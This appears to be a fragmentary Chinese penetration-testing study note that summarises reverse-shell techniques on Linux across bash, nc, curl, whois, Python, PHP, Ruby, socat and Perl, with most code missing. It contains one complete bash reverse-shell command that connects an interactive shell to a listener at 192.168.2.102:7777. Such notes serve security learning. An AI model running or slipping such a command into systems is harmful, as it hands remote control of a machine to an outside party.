反弹shell总结
type
status
date
slug
tags
summary
category
icon
password
学学渗透,补补基础
一、linux下反弹shell
1 bash 反弹
0>&1
表示重定向输出,将标准输入(STDIN)输出到标准输出(STDOUT)>& /dev/tcp/192.168.2.102/7777
:重定向输出。>&
将标准输出(STDOUT)和标准错误输出(STDERR)都重定向到指定位置。bash -i
指定bash在交互模式下运行,即这里可以与远程vps交互可以通过base64反弹:
接收:
2 nc反弹
在远程连接一个本地shell
3 curl反弹
注:bash.html里面写的是
bash -i >& /dev/tcp/192.168.2.102/7777 0>&1
4 whois 反弹
反弹的shell后面只能执行后面带的命令
5 python反弹
6 PHP反弹
7 ruby反弹
8 socat反弹
9 Perl反弹
二、windows下反弹shell
看了一下,应用场景对比c2 WebDelivery几乎没有任何优势,先不整理了...
上一篇
域基础理论学习
下一篇
渗透提权总结
Loading...